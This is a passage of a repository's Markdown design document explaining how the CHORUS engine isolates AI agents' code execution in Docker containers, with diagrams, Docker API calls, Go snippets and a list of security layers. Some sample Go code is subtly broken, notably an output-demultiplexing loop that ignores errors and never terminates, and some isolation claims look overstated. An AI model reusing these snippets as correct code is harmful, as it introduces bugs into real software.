 e8d95b3655
			
		
	
	e8d95b3655
	
	
	
		
			
			- Updated ImageRegistry to use public Docker Hub (anthonyrawlins namespace) - Modified image naming: chorus-base, chorus-rust-dev, chorus-go-dev, etc. - Added Docker Hub URLs and actual image sizes to metadata - Created comprehensive TaskExecutionEngine.md documentation covering: * Complete architecture and implementation details * Security isolation layers and threat mitigation * Performance characteristics and benchmarks * Real-world examples with resource usage metrics * Troubleshooting guide and FAQ * Comparisons with alternative approaches (SSH, VMs, native) Images now publicly available at docker.io/anthonyrawlins/chorus-* 🤖 Generated with Claude Code (https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
		
			
				
	
	
		
			1677 lines
		
	
	
		
			69 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			1677 lines
		
	
	
		
			69 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # CHORUS Task Execution Engine
 | |
| 
 | |
| **Secure, Isolated, and Lightning-Fast Code Execution for Autonomous Agents**
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Table of Contents
 | |
| 
 | |
| 1. [Overview](#overview)
 | |
| 2. [For Everyone: The Big Picture](#for-everyone-the-big-picture)
 | |
| 3. [How It Works: Step by Step](#how-it-works-step-by-step)
 | |
| 4. [For Developers: Technical Deep Dive](#for-developers-technical-deep-dive)
 | |
| 5. [Security & Isolation](#security--isolation)
 | |
| 6. [Performance Characteristics](#performance-characteristics)
 | |
| 7. [Comparison: Why This Approach?](#comparison-why-this-approach)
 | |
| 8. [Available Development Environments](#available-development-environments)
 | |
| 9. [Real-World Examples](#real-world-examples)
 | |
| 10. [Troubleshooting & FAQ](#troubleshooting--faq)
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Overview
 | |
| 
 | |
| The **CHORUS Task Execution Engine** is the system that allows AI agents to safely execute code, build software, run tests, and produce artifacts—all without risking your host system. Think of it as giving the AI a completely isolated "workshop" where it can use real tools (compilers, interpreters, build systems) but can never accidentally damage anything outside that workspace.
 | |
| 
 | |
| ### Key Features
 | |
| 
 | |
| - ✅ **Complete Isolation** - Tasks run in containers that can't access your files or network
 | |
| - ✅ **Multi-Language Support** - Pre-configured environments for Rust, Go, Python, Node.js, Java, C/C++
 | |
| - ✅ **Reproducible Builds** - Same environment every time, no "works on my machine" problems
 | |
| - ✅ **Resource Limited** - Control CPU, memory, disk usage to prevent runaway processes
 | |
| - ✅ **No SSH Required** - Direct API communication, no authentication complexity
 | |
| - ✅ **Instant Startup** - Containers stay warm, commands execute in milliseconds
 | |
| - ✅ **Full Monitoring** - Track resource usage, capture all output, audit all actions
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## For Everyone: The Big Picture
 | |
| 
 | |
| ### The Problem We're Solving
 | |
| 
 | |
| When an AI agent needs to execute code, we face a dilemma:
 | |
| 
 | |
| ```
 | |
| ┌─────────────────────────────────────────┐
 | |
| │  Option 1: Run directly on your system │
 | |
| │  ✅ Fast                                │
 | |
| │  ❌ Dangerous (AI could delete files)  │
 | |
| │  ❌ Unpredictable (depends on your OS) │
 | |
| │  ❌ No resource limits                  │
 | |
| └─────────────────────────────────────────┘
 | |
| 
 | |
| ┌─────────────────────────────────────────┐
 | |
| │  Option 2: Run in isolated environment │
 | |
| │  ✅ Safe (can't access your files)     │
 | |
| │  ✅ Predictable (same environment)     │
 | |
| │  ✅ Resource controlled                 │
 | |
| │  ✅ Easy to reset if something breaks  │
 | |
| └─────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| CHORUS chooses **Option 2** using Docker containers as secure, isolated workspaces.
 | |
| 
 | |
| ### The Analogy: Virtual Workshop
 | |
| 
 | |
| Imagine hiring a contractor to build something:
 | |
| 
 | |
| **Traditional Approach (Unsafe):**
 | |
| ```
 | |
| You: "Here are the keys to my house. Build me a bookshelf."
 | |
| Contractor: *Has access to everything in your house*
 | |
| ```
 | |
| 
 | |
| **CHORUS Approach (Safe):**
 | |
| ```
 | |
| You: "Here's a fully-equipped workshop in my garage."
 | |
|      "All the tools you need are inside."
 | |
|      "You can only access materials I put in the 'input' box."
 | |
|      "Put the finished bookshelf in the 'output' box."
 | |
|      "The workshop door locks from the outside—you can't leave."
 | |
| 
 | |
| Contractor: *Has everything needed, but can't access your house*
 | |
| ```
 | |
| 
 | |
| This is exactly what CHORUS does with code execution—except the "workshop" is a Docker container.
 | |
| 
 | |
| ### Visual Overview
 | |
| 
 | |
| ```
 | |
| ┌─────────────────────────────────────────────────────────────────┐
 | |
| │                        CHORUS AGENT                             │
 | |
| │  "I need to compile this Rust project and run tests"           │
 | |
| └────────────────────────┬────────────────────────────────────────┘
 | |
|                          │
 | |
|                          ▼
 | |
| ┌─────────────────────────────────────────────────────────────────┐
 | |
| │                   TASK EXECUTION ENGINE                         │
 | |
| │  1. Detect language: "Rust"                                     │
 | |
| │  2. Select image: anthonyrawlins/chorus-rust-dev                │
 | |
| │  3. Create isolated container                                   │
 | |
| │  4. Execute commands safely                                     │
 | |
| └────────────────────────┬────────────────────────────────────────┘
 | |
|                          │
 | |
|                          ▼
 | |
| ┌─────────────────────────────────────────────────────────────────┐
 | |
| │            🐳 ISOLATED DOCKER CONTAINER                         │
 | |
| │  ┌───────────────────────────────────────────────────────────┐ │
 | |
| │  │  📁 /workspace/                                           │ │
 | |
| │  │     ├── 📖 input/   (read-only: source code from user)   │ │
 | |
| │  │     ├── 🔨 data/    (working: builds, temp files)        │ │
 | |
| │  │     └── 📦 output/  (deliverables: binaries, reports)    │ │
 | |
| │  │                                                            │ │
 | |
| │  │  🔧 Pre-installed Tools:                                  │ │
 | |
| │  │     • rustc (Rust compiler)                               │ │
 | |
| │  │     • cargo (Rust build tool)                             │ │
 | |
| │  │     • clippy (Rust linter)                                │ │
 | |
| │  │     • git, vim, curl, etc.                                │ │
 | |
| │  │                                                            │ │
 | |
| │  │  🛡️ Security Boundaries:                                  │ │
 | |
| │  │     • No network access (configurable)                    │ │
 | |
| │  │     • No access to host files                             │ │
 | |
| │  │     • Limited CPU: 2 cores                                │ │
 | |
| │  │     • Limited RAM: 2GB                                    │ │
 | |
| │  │     • Non-root user: chorus (UID 1000)                    │ │
 | |
| │  └───────────────────────────────────────────────────────────┘ │
 | |
| └─────────────────────────────────────────────────────────────────┘
 | |
|                          │
 | |
|                          ▼
 | |
| ┌─────────────────────────────────────────────────────────────────┐
 | |
| │                      RESULTS RETURNED                           │
 | |
| │  ✅ Exit code: 0 (success)                                      │
 | |
| │  📄 stdout: "Compiling myapp v0.1.0..."                         │
 | |
| │  📄 stderr: "warning: unused variable..."                       │
 | |
| │  📦 Artifacts: [myapp binary, test results]                     │
 | |
| │  ⏱️  Duration: 45.3 seconds                                     │
 | |
| │  💾 Memory used: 1.2GB / 2GB                                    │
 | |
| └─────────────────────────────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## How It Works: Step by Step
 | |
| 
 | |
| ### Phase 1: Setup (happens once per task)
 | |
| 
 | |
| ```
 | |
| Step 1: Language Detection
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ Task: "Fix Rust compilation error"     │
 | |
| │                                         │
 | |
| │ Detection Logic:                        │
 | |
| │ 1. Check explicit language field       │
 | |
| │ 2. Analyze repository URL patterns     │
 | |
| │ 3. Scan description for keywords       │
 | |
| │                                         │
 | |
| │ Result: Language = "rust"              │
 | |
| └─────────────────────────────────────────┘
 | |
|                  ↓
 | |
| Step 2: Image Selection
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ Language: "rust"                        │
 | |
| │                                         │
 | |
| │ Image Map:                              │
 | |
| │ rust     → chorus-rust-dev              │
 | |
| │ go       → chorus-go-dev                │
 | |
| │ python   → chorus-python-dev            │
 | |
| │ ...                                     │
 | |
| │                                         │
 | |
| │ Selected: anthonyrawlins/chorus-rust-dev│
 | |
| └─────────────────────────────────────────┘
 | |
|                  ↓
 | |
| Step 3: Container Creation
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ Pull Image (if not cached):            │
 | |
| │ docker pull anthonyrawlins/             │
 | |
| │             chorus-rust-dev:latest      │
 | |
| │                                         │
 | |
| │ Create Container:                       │
 | |
| │ • Image: chorus-rust-dev                │
 | |
| │ • Memory: 2GB limit                     │
 | |
| │ • CPU: 2 cores                          │
 | |
| │ • Network: isolated (no internet)      │
 | |
| │ • Filesystem: isolated                  │
 | |
| │                                         │
 | |
| │ Keep-Alive Command:                     │
 | |
| │ tail -f /dev/null                       │
 | |
| │ (container stays running, ready for     │
 | |
| │  commands, but does nothing actively)   │
 | |
| └─────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ### Phase 2: Execution (repeats for each command)
 | |
| 
 | |
| ```
 | |
| Step 4: Command Execution
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ Command: cargo build --release          │
 | |
| │                                         │
 | |
| │ Via Docker Exec API:                    │
 | |
| │ POST /containers/{id}/exec              │
 | |
| │ {                                       │
 | |
| │   "Cmd": ["cargo", "build", "--release"]│
 | |
| │   "WorkingDir": "/workspace/data"       │
 | |
| │   "AttachStdout": true                  │
 | |
| │   "AttachStderr": true                  │
 | |
| │ }                                       │
 | |
| │                                         │
 | |
| │ Response: exec_id = "abc123"            │
 | |
| └─────────────────────────────────────────┘
 | |
|                  ↓
 | |
| Step 5: Stream Output
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ POST /exec/abc123/start                 │
 | |
| │                                         │
 | |
| │ Binary stream (multiplexed):           │
 | |
| │ [stdout] Compiling myapp v0.1.0...     │
 | |
| │ [stdout]    Compiling deps v1.0.0      │
 | |
| │ [stderr] warning: unused variable      │
 | |
| │ [stdout]     Finished release [opt]    │
 | |
| │                                         │
 | |
| │ CHORUS demultiplexes into separate     │
 | |
| │ stdout and stderr buffers              │
 | |
| └─────────────────────────────────────────┘
 | |
|                  ↓
 | |
| Step 6: Wait for Completion
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ Poll every 100ms:                       │
 | |
| │ GET /exec/abc123/json                   │
 | |
| │                                         │
 | |
| │ Response:                               │
 | |
| │ {                                       │
 | |
| │   "Running": false,                     │
 | |
| │   "ExitCode": 0,                        │
 | |
| │   "Pid": 12345                          │
 | |
| │ }                                       │
 | |
| │                                         │
 | |
| │ Command completed successfully!         │
 | |
| └─────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ### Phase 3: File Operations
 | |
| 
 | |
| ```
 | |
| Writing Files (Code → Container)
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ Create tar archive in memory:          │
 | |
| │                                         │
 | |
| │ [tar header: "main.rs", size: 1024]    │
 | |
| │ [file content: "fn main() { ... }"]    │
 | |
| │                                         │
 | |
| │ PUT /containers/{id}/archive           │
 | |
| │ Target: /workspace/data/src/main.rs    │
 | |
| │                                         │
 | |
| │ Result: File appears in container       │
 | |
| └─────────────────────────────────────────┘
 | |
| 
 | |
| Reading Files (Container → Result)
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ GET /containers/{id}/archive            │
 | |
| │ Path: /workspace/output/myapp           │
 | |
| │                                         │
 | |
| │ Response: tar stream                    │
 | |
| │ [tar header: "myapp", size: 4194304]   │
 | |
| │ [binary content: ELF executable]        │
 | |
| │                                         │
 | |
| │ Extract from tar → return to agent      │
 | |
| └─────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ### Phase 4: Cleanup
 | |
| 
 | |
| ```
 | |
| Step 7: Resource Cleanup
 | |
| ┌─────────────────────────────────────────┐
 | |
| │ When task completes:                    │
 | |
| │                                         │
 | |
| │ 1. docker stop {container_id}           │
 | |
| │    (graceful shutdown: 30s timeout)     │
 | |
| │                                         │
 | |
| │ 2. docker rm {container_id}             │
 | |
| │    (delete container completely)        │
 | |
| │                                         │
 | |
| │ 3. Remove temporary files on host       │
 | |
| │                                         │
 | |
| │ Result: Zero traces left behind         │
 | |
| └─────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## For Developers: Technical Deep Dive
 | |
| 
 | |
| ### Architecture Components
 | |
| 
 | |
| ```
 | |
| ┌───────────────────────────────────────────────────────────────────┐
 | |
| │                      TaskExecutionEngine                          │
 | |
| │  Location: pkg/execution/engine.go                                │
 | |
| │                                                                   │
 | |
| │  Responsibilities:                                                │
 | |
| │  • Orchestrate task execution lifecycle                           │
 | |
| │  • Coordinate between AI providers and sandboxes                  │
 | |
| │  • Parse AI responses for executable commands                     │
 | |
| │  • Collect and format results                                     │
 | |
| │  • Track metrics and resource usage                               │
 | |
| └─────────────────────────────┬─────────────────────────────────────┘
 | |
|                               │
 | |
|                               │ creates
 | |
|                               ▼
 | |
| ┌───────────────────────────────────────────────────────────────────┐
 | |
| │                         ImageSelector                             │
 | |
| │  Location: pkg/execution/images.go                                │
 | |
| │                                                                   │
 | |
| │  Responsibilities:                                                │
 | |
| │  • Detect language from task context                              │
 | |
| │  • Map language to appropriate Docker image                       │
 | |
| │  • Provide image metadata and capabilities                        │
 | |
| │                                                                   │
 | |
| │  Detection Priority:                                              │
 | |
| │  1. context.language field (explicit)                             │
 | |
| │  2. AI model name hints                                           │
 | |
| │  3. Repository URL patterns                                       │
 | |
| │  4. Description keyword analysis                                  │
 | |
| └─────────────────────────────┬─────────────────────────────────────┘
 | |
|                               │
 | |
|                               │ provides image name
 | |
|                               ▼
 | |
| ┌───────────────────────────────────────────────────────────────────┐
 | |
| │                      ExecutionSandbox (Interface)                 │
 | |
| │  Location: pkg/execution/sandbox.go                               │
 | |
| │                                                                   │
 | |
| │  Interface Methods:                                               │
 | |
| │  • Initialize(ctx, config) error                                  │
 | |
| │  • ExecuteCommand(ctx, cmd) (*CommandResult, error)               │
 | |
| │  • WriteFile(ctx, path, content, mode) error                      │
 | |
| │  • ReadFile(ctx, path) ([]byte, error)                            │
 | |
| │  • ListFiles(ctx, path) ([]FileInfo, error)                       │
 | |
| │  • GetResourceUsage(ctx) (*ResourceUsage, error)                  │
 | |
| │  • Cleanup() error                                                │
 | |
| └─────────────────────────────┬─────────────────────────────────────┘
 | |
|                               │
 | |
|                               │ implemented by
 | |
|                               ▼
 | |
| ┌───────────────────────────────────────────────────────────────────┐
 | |
| │                         DockerSandbox                             │
 | |
| │  Location: pkg/execution/docker.go                                │
 | |
| │                                                                   │
 | |
| │  Key Fields:                                                      │
 | |
| │  • client: *docker.Client     (Docker SDK)                        │
 | |
| │  • containerID: string         (running container)                │
 | |
| │  • config: *SandboxConfig      (resource limits, security)        │
 | |
| │  • workingDir: string          (default: /workspace/data)         │
 | |
| │  • environment: map[string]string                                 │
 | |
| │                                                                   │
 | |
| │  Implementation Details:                                          │
 | |
| │  • Uses official Docker SDK for Go                                │
 | |
| │  • Communicates via Unix socket /var/run/docker.sock              │
 | |
| │  • Never spawns subprocesses (all via API)                        │
 | |
| │  • Multiplexes stdout/stderr from binary stream                   │
 | |
| │  • Streams files via tar archives                                 │
 | |
| └───────────────────────────────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ### Code Flow Diagram
 | |
| 
 | |
| ```go
 | |
| // 1. ENGINE RECEIVES TASK
 | |
| func (e *DefaultTaskExecutionEngine) ExecuteTask(
 | |
|     ctx context.Context,
 | |
|     request *TaskExecutionRequest,
 | |
| ) (*TaskExecutionResult, error) {
 | |
| 
 | |
|     // 2. CREATE SANDBOX CONFIG
 | |
|     sandboxConfig := e.createSandboxConfig(request)
 | |
| 
 | |
|     // Inside createSandboxConfig:
 | |
|     imageSelector := NewImageSelector()
 | |
|     selectedImage := imageSelector.SelectImageForTask(request)
 | |
|     // Result: "anthonyrawlins/chorus-rust-dev:latest"
 | |
| 
 | |
|     config := &SandboxConfig{
 | |
|         Image: selectedImage,
 | |
|         WorkingDir: "/workspace/data",
 | |
|         Environment: map[string]string{
 | |
|             "WORKSPACE_ROOT":   "/workspace",
 | |
|             "WORKSPACE_INPUT":  "/workspace/input",
 | |
|             "WORKSPACE_DATA":   "/workspace/data",
 | |
|             "WORKSPACE_OUTPUT": "/workspace/output",
 | |
|         },
 | |
|         Resources: ResourceLimits{
 | |
|             MemoryLimit: 2 * 1024 * 1024 * 1024, // 2GB
 | |
|             CPULimit:    2.0,                     // 2 cores
 | |
|         },
 | |
|         Security: SecurityPolicy{
 | |
|             NoNewPrivileges: true,
 | |
|             AllowNetworking: false,
 | |
|             DropCapabilities: []string{"ALL"},
 | |
|         },
 | |
|     }
 | |
| 
 | |
|     // 3. INITIALIZE SANDBOX
 | |
|     sandbox := NewDockerSandbox()
 | |
|     sandbox.Initialize(ctx, config)
 | |
|     defer sandbox.Cleanup()
 | |
| 
 | |
|     // 4. EXECUTE COMMANDS
 | |
|     cmd := &Command{
 | |
|         Executable: "/bin/sh",
 | |
|         Args:       []string{"-c", "cargo build --release"},
 | |
|         WorkingDir: "/workspace/data",
 | |
|         Timeout:    5 * time.Minute,
 | |
|     }
 | |
| 
 | |
|     result, err := sandbox.ExecuteCommand(ctx, cmd)
 | |
| 
 | |
|     // 5. COLLECT ARTIFACTS
 | |
|     if result.ExitCode == 0 {
 | |
|         binaryContent, _ := sandbox.ReadFile(ctx,
 | |
|             "/workspace/data/target/release/myapp")
 | |
| 
 | |
|         artifacts = append(artifacts, TaskArtifact{
 | |
|             Name:    "myapp",
 | |
|             Type:    "binary",
 | |
|             Content: binaryContent,
 | |
|             Size:    len(binaryContent),
 | |
|         })
 | |
|     }
 | |
| 
 | |
|     // 6. RETURN RESULTS
 | |
|     return &TaskExecutionResult{
 | |
|         Success:   result.ExitCode == 0,
 | |
|         Output:    result.Stdout,
 | |
|         Artifacts: artifacts,
 | |
|         Metrics: &ExecutionMetrics{
 | |
|             Duration:         result.Duration,
 | |
|             CommandsExecuted: 1,
 | |
|             ResourceUsage:    result.ResourceUsage,
 | |
|         },
 | |
|     }, nil
 | |
| }
 | |
| ```
 | |
| 
 | |
| ### Docker API Communication
 | |
| 
 | |
| **What Actually Happens Under the Hood:**
 | |
| 
 | |
| ```
 | |
| Host (CHORUS Process)              Docker Daemon
 | |
|         │                               │
 | |
|         │ Unix Socket Connection        │
 | |
|         │ /var/run/docker.sock          │
 | |
|         ├───────────────────────────────┤
 | |
|         │                               │
 | |
|         │ POST /v1.43/containers/create │
 | |
|         │ {                             │
 | |
|         │   "Image": "chorus-rust-dev", │
 | |
|         │   "Cmd": ["tail","-f","/dev/null"]
 | |
|         │   "HostConfig": {             │
 | |
|         │     "Memory": 2147483648,     │
 | |
|         │     "NanoCPUs": 2000000000,   │
 | |
|         │     "CapDrop": ["ALL"]        │
 | |
|         │   }                           │
 | |
|         │ }                             │
 | |
|         ├──────────────────────────────>│
 | |
|         │                               │ Create container
 | |
|         │<──────────────────────────────┤
 | |
|         │ 201 Created                   │
 | |
|         │ {"Id": "abc123def456..."}     │
 | |
|         │                               │
 | |
|         │ POST /v1.43/containers/       │
 | |
|         │      abc123/start             │
 | |
|         ├──────────────────────────────>│
 | |
|         │                               │ Start container
 | |
|         │<──────────────────────────────┤
 | |
|         │ 204 No Content                │
 | |
|         │                               │
 | |
|         │ POST /v1.43/containers/       │
 | |
|         │      abc123/exec              │
 | |
|         │ {                             │
 | |
|         │   "AttachStdout": true,       │
 | |
|         │   "AttachStderr": true,       │
 | |
|         │   "Cmd": ["cargo","build"]    │
 | |
|         │ }                             │
 | |
|         ├──────────────────────────────>│
 | |
|         │                               │ Create exec instance
 | |
|         │<──────────────────────────────┤
 | |
|         │ 201 Created                   │
 | |
|         │ {"Id": "exec789xyz..."}       │
 | |
|         │                               │
 | |
|         │ POST /v1.43/exec/exec789/start│
 | |
|         ├──────────────────────────────>│
 | |
|         │                               │ Execute command
 | |
|         │<══════════════════════════════┤ (Binary stream)
 | |
|         │ [stdout stream]               │ cargo output
 | |
|         │ [stderr stream]               │ warnings
 | |
|         │<══════════════════════════════┤
 | |
|         │ Stream ends                   │
 | |
|         │                               │
 | |
|         │ GET /v1.43/exec/exec789/json  │
 | |
|         ├──────────────────────────────>│
 | |
|         │                               │ Check status
 | |
|         │<──────────────────────────────┤
 | |
|         │ {"Running": false,            │
 | |
|         │  "ExitCode": 0}               │
 | |
|         │                               │
 | |
|         │ DELETE /v1.43/containers/     │
 | |
|         │        abc123?force=true      │
 | |
|         ├──────────────────────────────>│
 | |
|         │                               │ Remove container
 | |
|         │<──────────────────────────────┤
 | |
|         │ 204 No Content                │
 | |
|         │                               │
 | |
| ```
 | |
| 
 | |
| ### Key Implementation Files
 | |
| 
 | |
| | File | Purpose | Key Functions |
 | |
| |------|---------|---------------|
 | |
| | `pkg/execution/engine.go` | Main orchestration | `ExecuteTask()`, `createSandboxConfig()`, `executeTaskInternal()` |
 | |
| | `pkg/execution/images.go` | Image selection logic | `SelectImageForTask()`, `DetectLanguage()`, `detectLanguageFromDescription()` |
 | |
| | `pkg/execution/sandbox.go` | Sandbox interface | Interface definitions for all sandbox implementations |
 | |
| | `pkg/execution/docker.go` | Docker implementation | `Initialize()`, `ExecuteCommand()`, `WriteFile()`, `ReadFile()`, `Cleanup()` |
 | |
| 
 | |
| ### Critical Code Sections
 | |
| 
 | |
| **1. Command Execution (docker.go:115-239)**
 | |
| 
 | |
| ```go
 | |
| func (d *DockerSandbox) ExecuteCommand(ctx context.Context, cmd *Command) (*CommandResult, error) {
 | |
|     // Build command
 | |
|     execCmd := []string{cmd.Executable}
 | |
|     execCmd = append(execCmd, cmd.Args...)
 | |
| 
 | |
|     // Create exec instance
 | |
|     execConfig := container.ExecOptions{
 | |
|         AttachStdout: true,
 | |
|         AttachStderr: true,
 | |
|         Cmd:          execCmd,
 | |
|         WorkingDir:   cmd.WorkingDir,
 | |
|         Env:          d.buildEnvironment(cmd.Environment),
 | |
|     }
 | |
| 
 | |
|     exec, err := d.client.ContainerExecCreate(ctx, d.containerID, execConfig)
 | |
| 
 | |
|     // Attach and stream output
 | |
|     resp, err := d.client.ContainerExecAttach(ctx, exec.ID, attachOptions)
 | |
|     defer resp.Close()
 | |
| 
 | |
|     // Demultiplex Docker's binary stream format
 | |
|     var stdout, stderr bytes.Buffer
 | |
|     d.demultiplexOutput(resp.Reader, &stdout, &stderr)
 | |
| 
 | |
|     // Poll for completion
 | |
|     for {
 | |
|         inspect, err := d.client.ContainerExecInspect(ctx, exec.ID)
 | |
|         if !inspect.Running {
 | |
|             return &CommandResult{
 | |
|                 ExitCode: inspect.ExitCode,
 | |
|                 Stdout:   stdout.String(),
 | |
|                 Stderr:   stderr.String(),
 | |
|             }, nil
 | |
|         }
 | |
|         time.Sleep(100 * time.Millisecond)
 | |
|     }
 | |
| }
 | |
| ```
 | |
| 
 | |
| **2. Output Demultiplexing (docker.go:876-915)**
 | |
| 
 | |
| Docker multiplexes stdout and stderr into a single binary stream with this format:
 | |
| 
 | |
| ```
 | |
| Byte 0:     Stream Type (1=stdout, 2=stderr)
 | |
| Bytes 1-3:  Padding (always 0)
 | |
| Bytes 4-7:  Frame Size (big-endian uint32)
 | |
| Bytes 8+:   Frame Data
 | |
| ```
 | |
| 
 | |
| ```go
 | |
| func (d *DockerSandbox) demultiplexOutput(reader io.Reader, stdout, stderr io.Writer) error {
 | |
|     buf := make([]byte, 8192)
 | |
|     for {
 | |
|         n, err := reader.Read(buf)
 | |
|         if n < 8 {
 | |
|             continue // Need at least 8 bytes for header
 | |
|         }
 | |
| 
 | |
|         streamType := buf[0]         // 1=stdout, 2=stderr
 | |
|         size := int(buf[4])<<24 +    // Parse 32-bit size
 | |
|                 int(buf[5])<<16 +
 | |
|                 int(buf[6])<<8 +
 | |
|                 int(buf[7])
 | |
| 
 | |
|         data := buf[8 : 8+size]      // Extract frame data
 | |
| 
 | |
|         switch streamType {
 | |
|         case 1:
 | |
|             stdout.Write(data)       // Route to stdout
 | |
|         case 2:
 | |
|             stderr.Write(data)       // Route to stderr
 | |
|         }
 | |
|     }
 | |
| }
 | |
| ```
 | |
| 
 | |
| **3. Image Selection Logic (images.go:74-154)**
 | |
| 
 | |
| ```go
 | |
| func (s *ImageSelector) DetectLanguage(task *TaskExecutionRequest) string {
 | |
|     // Priority 1: Explicit language field
 | |
|     if lang, ok := task.Context["language"].(string); ok && lang != "" {
 | |
|         return strings.ToLower(strings.TrimSpace(lang))
 | |
|     }
 | |
| 
 | |
|     // Priority 2: Model name hints
 | |
|     if task.Requirements != nil && task.Requirements.AIModel != "" {
 | |
|         if modelLang := extractLanguageFromModel(task.Requirements.AIModel); modelLang != "" {
 | |
|             return modelLang
 | |
|         }
 | |
|     }
 | |
| 
 | |
|     // Priority 3: Repository URL patterns
 | |
|     if repoURL, ok := task.Context["repository_url"].(string); ok && repoURL != "" {
 | |
|         return detectLanguageFromRepo(repoURL)
 | |
|     }
 | |
| 
 | |
|     // Priority 4: Description keyword analysis
 | |
|     return detectLanguageFromDescription(task.Description)
 | |
| }
 | |
| 
 | |
| func detectLanguageFromDescription(description string) string {
 | |
|     keywords := []struct {
 | |
|         language string
 | |
|         patterns []string
 | |
|         priority int
 | |
|     }{
 | |
|         // High priority - specific indicators
 | |
|         {"rust", []string{"cargo.toml", "cargo build", ".rs file"}, 3},
 | |
|         {"python", []string{"pip install", "pytest", "requirements.txt"}, 3},
 | |
| 
 | |
|         // Medium priority - generic mentions
 | |
|         {"rust", []string{"rust"}, 2},
 | |
|         {"python", []string{"python"}, 2},
 | |
|     }
 | |
| 
 | |
|     bestMatch := ""
 | |
|     bestPriority := 0
 | |
| 
 | |
|     for _, kw := range keywords {
 | |
|         for _, pattern := range kw.patterns {
 | |
|             if strings.Contains(strings.ToLower(description), pattern) {
 | |
|                 if kw.priority > bestPriority {
 | |
|                     bestMatch = kw.language
 | |
|                     bestPriority = kw.priority
 | |
|                 }
 | |
|             }
 | |
|         }
 | |
|     }
 | |
| 
 | |
|     return bestMatch // Returns "base" if no match
 | |
| }
 | |
| ```
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Security & Isolation
 | |
| 
 | |
| ### Defense in Depth: Multiple Security Layers
 | |
| 
 | |
| ```
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 1: Linux Kernel Namespaces                                │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ • PID Namespace: Container can't see host processes             │
 | |
| │ • Network Namespace: Isolated network stack (default: no net)   │
 | |
| │ • Mount Namespace: Container can't see host filesystem          │
 | |
| │ • IPC Namespace: No shared memory with host                     │
 | |
| │ • UTS Namespace: Separate hostname                              │
 | |
| │ • User Namespace: UID mapping for file permissions              │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
|           ↓
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 2: Control Groups (cgroups)                               │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ • Memory Limit: 2GB hard limit (OOM kill if exceeded)           │
 | |
| │ • CPU Limit: 2 cores maximum                                    │
 | |
| │ • PID Limit: 100 processes maximum                              │
 | |
| │ • Block I/O: Rate limiting on disk operations                   │
 | |
| │ • No access to host's /sys, /proc                               │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
|           ↓
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 3: Linux Capabilities                                      │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ Dropped Capabilities (CapDrop: ALL):                             │
 | |
| │ • CAP_SYS_ADMIN: Can't modify system settings                   │
 | |
| │ • CAP_NET_ADMIN: Can't modify network configuration             │
 | |
| │ • CAP_SYS_MODULE: Can't load kernel modules                     │
 | |
| │ • CAP_SYS_RAWIO: Can't access raw I/O                           │
 | |
| │ • ALL other capabilities dropped                                │
 | |
| │                                                                  │
 | |
| │ Added Capabilities (minimal):                                    │
 | |
| │ • None by default                                               │
 | |
| │ • NET_BIND_SERVICE only if networking enabled                   │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
|           ↓
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 4: Seccomp (Secure Computing Mode)                        │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ Blocked System Calls:                                            │
 | |
| │ • reboot, swapon, swapoff                                       │
 | |
| │ • mount, umount (filesystem manipulation)                       │
 | |
| │ • kexec_load (kernel execution)                                 │
 | |
| │ • ptrace (process debugging/manipulation)                       │
 | |
| │ • 300+ other dangerous syscalls                                 │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
|           ↓
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 5: AppArmor / SELinux (MAC)                               │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ Mandatory Access Control profiles:                              │
 | |
| │ • Restrict which files can be read/written                      │
 | |
| │ • Block access to sensitive host paths                          │
 | |
| │ • Prevent privilege escalation                                  │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
|           ↓
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 6: Read-Only Root Filesystem                              │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ • Root filesystem mounted read-only                             │
 | |
| │ • Only /workspace/* is writable                                 │
 | |
| │ • No modification of system binaries                            │
 | |
| │ • No installation of packages (use pre-built images)            │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
|           ↓
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 7: Network Isolation                                       │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ Default: NetworkMode = "none"                                    │
 | |
| │ • No network interfaces (except loopback)                       │
 | |
| │ • Can't make outbound connections                               │
 | |
| │ • Can't receive inbound connections                             │
 | |
| │ • Configurable if task requires network                         │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
|           ↓
